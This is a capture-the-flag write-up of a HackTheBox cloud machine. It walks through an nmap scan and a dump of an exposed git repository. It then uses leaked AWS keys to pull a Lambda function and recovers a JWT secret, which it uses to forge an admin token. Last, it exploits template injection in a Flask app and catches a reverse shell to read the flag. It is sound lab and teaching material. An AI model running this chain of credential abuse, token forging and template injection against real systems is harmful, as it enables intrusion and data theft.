This challenge is on AWS and one of its products, Lambda. It allowed me to go deeper into the AWS CLI and how to manipulate it to gain access on cloud infrastructures.

Challenge info :

One of the local shops in your city is realising new costumes. Go grab them
before they run out as the available stock is very limited.

Recon

Unlike the first one, we don’t immediately know what kind of cloud we’re dealing with. Let’s enumerate with nmap :

# Nmap 7.92 scan initiated Sun Nov 21 13:37:32 2021 as: nmap -p- -A -sC -T4 -oA scanepsilon -v 10.129.228.106
Nmap scan report for 10.129.228.106
Host is up (0.020s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: 403 Forbidden
| http-git:
|   10.129.228.106:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
|_http-server-header: Apache/2.4.41 (Ubuntu)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
| http-methods:
|_  Supported Methods: OPTIONS GET POST HEAD
|_http-title: Costume Shop
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=11/21%OT=22%CT=1%CU=43556%PV=Y%DS=2%DC=T%G=Y%TM=619A3D
OS:AF%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST
OS:11NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Uptime guess: 8.766 days (since Fri Nov 12 19:14:33 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 23/tcp)
HOP RTT      ADDRESS
1   17.44 ms 10.10.14.1
2   18.04 ms 10.129.228.106

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 21 13:38:07 2021 -- 1 IP address (1 host up) scanned in 35.47 seconds

OpenSSH - 22

Nothing interesting here, we have no credentials and the OpenSSH version seems not vulnerable. We still recover the OS of the machine and approximate its version, which is always useful.

Apache - 80

Simple Apache server with seems like nothing on it, but nmap is kind enough to give us that there is a git repository. We only have to dump it with gitdumper (available here) and we end up with a repository to look at.

Werkzeug - 5000

Werkzeug currently means we’re dealing with a Flask app. We only have access to a login page, and given the description of the challenge, we’ll have to go through.

Looking in the git repository

In the repository, we find two files : server.py and track_api_CR_148.py.

It is quickly obvious that server.py is the source code of the website on the port 5000. We discover all the endpoints, how they are working, and we see that we could authenticate as admin without password if we’re able to recover the secret key. However, we can’t find it in the older commits.

However, track_api_CR_148.py is more fruitful regarding the leaked credentials. Looking at the first and the last commit, we see that AWS credentials were leaked.

We also find a new endpoint, cloud.epsilon.htb, so we add it to our /etc/hosts file, along with epsilon.htb.

We now know that we’re dealing with AWS, and more specifically with lambda. Luckily for me, I did the Bucket HTB box just a few months before, so I already have an experience with AWS cli. We find on the web that lambda is used to store and use pieces of code. We start by using aws configure to enter our credentials, then we search the documentation and end up with this command :

[11:49|mh4ck@archlinux]:epsilon$ aws --endpoint http://cloud.epsilon.htb lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "costume_shop_v1",
            "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
            "Runtime": "python3.7",
            "Role": "arn:aws:iam::123456789012:role/service-role/dev",
            "Handler": "my-function.handler",
            "CodeSize": 478,
            "Description": "",
            "Timeout": 3,
            "LastModified": "2021-11-23T10:28:07.966+0000",
            "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
            "Version": "$LATEST",
            "VpcConfig": {},
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "7b836e55-dcce-4fcc-be6c-3b8fc4950b47",
            "State": "Active",
            "LastUpdateStatus": "Successful",
            "PackageType": "Zip"
        }
    ]
}
[11:50|mh4ck@archlinux]:epsilon$

It seems there is only one piece of code to look at, named costume_shop_v1, let’s dump it :

[11:50|mh4ck@archlinux]:epsilon$ aws --endpoint http://cloud.epsilon.htb lambda get-function --function-name costume_shop_v1
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
        "Description": "",
        "Timeout": 3,
        "LastModified": "2021-11-23T10:28:07.966+0000",
        "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
        "Version": "$LATEST",
        "VpcConfig": {},
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "7b836e55-dcce-4fcc-be6c-3b8fc4950b47",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip"
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    },
    "Tags": {}
}
[11:51|mh4ck@archlinux]:epsilon$

We now have an url, and visiting it, we download a zip file which contains our piece of code. Opening it, we find nothing really interesting, except this :

secret='RrXCv`mrNe!K!4+5`wYq'

Could it be the JWT secret we were looking for ? Let’s try and use it to sign a cookie ! Using the corresponding code of server.py :

token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
res.set_cookie("auth",token)

We try to craft our own JWT :

>>> import jwt
>>> jwt.encode({"username":"admin"}, "RrXCv`mrNe!K!4+5`wYq", "HS256")
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.
8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg'
>>>

Now let’s put it in our navigator (name “auth” as specified in the code), and visit an endpoint described in server.py.

It’s a win ! We’re authenticated as the admin ! Clicking around and visiting the other pages, we see that there is nothing really working, and no flag in sight. Do we have to go further ? Let’s dive deeper in server.py to see if we can find a vulnerability :

costume=request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl=render_template_string(message,costume=costume)

This piece of code from the order endpoint seems vulnerable to SSTI through the costume parameter. This parameter is using a dropbox on the website, but intercepting the request in BurpSuite we can easily modify it.

Success ! Our {{ 7*7 }} payload has been successfully interpreted as 49. Let’s use this site to help us achieve RCE.

Perfect, we now just have to send ourselves a reverse shell, and try to find the flag :

[12:12|mh4ck@archlinux]:Downloads$ nc -lvnp 4444
Connection from 10.129.228.190:54060
bash: cannot set terminal process group (1042): Inappropriate ioctl for device
bash: no job control in this shell
www-data@epsilon:~/app$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@epsilon:~/app$ find / -name flag.txt 2>/dev/null
find / -name flag.txt 2>/dev/null
/var/www/flag.txt
www-data@epsilon:~/app$ cat /var/www/flag.txt
cat /var/www/flag.txt
HTB{l4mbd4_l34ks_4r3_fun!!!}www-data@epsilon:~/app$

Flag : HTB{l4mbd4_l34ks_4r3_fun!!!}